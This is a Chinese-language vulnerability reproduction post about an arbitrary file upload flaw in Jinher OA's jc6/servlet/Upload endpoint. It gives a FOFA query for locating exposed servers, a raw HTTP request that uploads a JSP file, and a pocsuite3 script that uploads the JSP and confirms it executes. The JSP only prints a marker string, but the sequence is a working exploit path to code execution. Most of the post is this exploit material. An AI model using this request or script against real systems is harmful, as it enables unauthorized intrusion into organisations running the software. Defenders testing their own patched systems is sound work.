漏洞复现-金和OA jc6/servlet/Upload接口任意文件上传漏洞(附漏洞检测脚本)

免责声明

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

漏洞描述

金和OA jc6/servlet/Upload接口存在任意文件上传漏洞。

漏洞复现-金和OA jc6/servlet/Upload接口任意文件上传漏洞(附漏洞检测脚本)_第1张图片

fofa语句

app="金和网络-金和OA"||body="/jc6/platform/sys/login"

poc加检测

POST /jc6/servlet/Upload?officeSaveFlag=0&dbimg=false&path=&setpath=/upload/ HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Type: multipart/form-data; boundary=ee055230808ca4602e92d0b7c4ecc63d

--ee055230808ca4602e92d0b7c4ecc63d
Content-Disposition: form-data; name="img"; filename="1.jsp"
Content-Type: image/jpeg

<% out.println("tteesstt1"); %>
--ee055230808ca4602e92d0b7c4ecc63d--

漏洞复现-金和OA jc6/servlet/Upload接口任意文件上传漏洞(附漏洞检测脚本)_第2张图片

上传成功后,拼接返回的路径url/jc6/路径

漏洞复现-金和OA jc6/servlet/Upload接口任意文件上传漏洞(附漏洞检测脚本)_第3张图片

poc脚本

脚本使用pocsuite框架

# _*_ coding:utf-8 _*_
# @Time : 2024/1/16
# @Author: 炼金术师诸葛亮
import re
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str

class jinhe_jc6_upload(POCBase):
    pocDesc = '''金和OA jc6/servlet/Upload接口任意文件上传漏洞'''
    author = '炼金术师诸葛亮'
    createDate = '2024-1-16'
    name = '金和OA jc6/servlet/Upload接口任意文件上传漏洞'



    def _verify(self):

        result = {}
        url = self.url+ '/jc6/servlet/Upload?officeSaveFlag=0&dbimg=false&path=&setpath=/upload/'
        check_path = self.url+ "/test.aspx"
        headers = {
            "User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)",
            "Accept": "*/*",
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Connection': 'close',
            "Content-Type": "multipart/form-data; boundary=ee055230808ca4602e92d0b7c4ecc63d"
        }

        try:
            data = '--ee055230808ca4602e92d0b7c4ecc63d\r\nContent-Disposition: form-data; name="img"; filename="1.jsp"\r\nContent-Type: image/jpeg\r\n\r\n<% out.println("tteesstt1"); %>\r\n--ee055230808ca4602e92d0b7c4ecc63d--'

            response = requests.post(url, headers=headers, data=data)
            if response.status_code == 200 and 'upload' in response.text:
                rtext=response.text
                path = re.search(r"arr\[2]='(.*?)'", rtext)
                if path:
                    check_path = self.url+ '/jc6/' +path.group(1)
                    check_response = requests.get(check_path)
                    if check_response.status_code == 200 and 'tteesstt1' in check_response.text:
                        result['VerifyInfo'] = {}

            return self.parse_output(result)
        except Exception as e:
            pass

register_poc(jinhe_jc6_upload)

脚本利用

漏洞复现-金和OA jc6/servlet/Upload接口任意文件上传漏洞(附漏洞检测脚本)_第4张图片

你可能感兴趣的:(安全,web安全)